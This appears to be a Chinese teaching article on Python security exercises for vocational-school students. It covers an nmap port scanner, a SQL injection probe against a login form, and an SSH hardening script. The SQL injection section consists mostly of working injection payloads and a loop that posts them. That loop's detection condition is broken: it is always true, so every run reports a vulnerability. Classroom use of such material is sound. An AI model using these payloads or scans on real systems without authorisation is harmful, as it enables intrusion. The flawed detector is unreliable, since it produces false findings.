### 中职网络安全课程中的Python脚本漏洞检测实验 在中职网络安全课程的教学实践中，利用Python编写自动化脚本来进行漏洞检测是一项重要的技能训练。这类练习不仅帮助学生理解常见安全漏洞的工作原理，还培养了实际动手能力。 #### 使用Nmap与Python实现端口扫描 为了让学生熟悉基本的网络侦察技术，可以设计一个基于`nmap`库的端口扫描器项目。此案例展示了如何结合Nmap和Python来构建简单的端口扫描程序： ```python import nmap def port_scan(target, ports): nm = nmap.PortScanner() result = nm.scan(hosts=target, arguments=f'-p {ports}') open_ports = [] for host in nm.all_hosts(): for proto in nm[host].all_protocols(): lport = nm[host][proto].keys() for port in lport: if nm[host][proto][port]['state'] == 'open': open_ports.append(port) return open_ports if __name__ == "__main__": target_ip = "192.168.1.1" scanned_ports = port_scan(target_ip, "20-1024") print(f"Open Ports on {target_ip}: {scanned_ports}") ``` 这段代码实现了对目标主机指定范围内的TCP端口进行快速扫描，并输出开放的服务列表[^1]。 #### SQL注入攻击模拟 另一个常见的教学场景是对Web应用的安全性评估，特别是针对SQL注入缺陷的学习。下面是一个简化版的例子，用来说明如何构造恶意输入以测试是否存在此类风险： ```python import requests url = "http://example.com/login.php" payloads = ["' OR '1'='1", "' UNION SELECT null, version() -- ", "' OR SLEEP(5)--"] for payload in payloads: data = {'username': f"user{payload}", 'password': 'anything'} response = requests.post(url, data=data) if "Welcome" in response.text or "MySQL" in response.text or "sleep" not in str(response.elapsed.total_seconds()): print(f"[!] Potential vulnerability detected with payload: {payload}") break else: print("[+] No obvious vulnerabilities found.") ``` 请注意，在真实环境中执行上述操作前需获得合法授权，因为未经授权尝试访问他人计算机信息系统可能违反法律[^2]。 #### SSH配置安全性审查 考虑到SSH作为远程管理Linux系统的常用协议之一，其自身的安全性也至关重要。可以通过编写Python脚本来自动检查并修复潜在的风险设置，比如更改默认监听端口号以及禁用root用户的直接登录权限： ```bash vim /etc/ssh/sshd_config # 修改Port为2222 # 将PermitRootLogin改为no service ssh restart ``` 对应的Python实现如下所示： ```python from subprocess import call commands = [ ['sed', '-i', r's/#Port 22/Port 2222/', '/etc/ssh/sshd_config'], ['sed', '-i', r's/^.*PermitRootLogin.*/PermitRootLogin no/g', '/etc/ssh/sshd_config'], ['systemctl', 'restart', 'sshd'] ] for cmd in commands: call(cmd) print("SSH configuration has been hardened successfully!") ``` 以上实例均适用于课堂演示或实验室环境下的学习用途，有助于提高学生的实战经验和技术水平[^4]。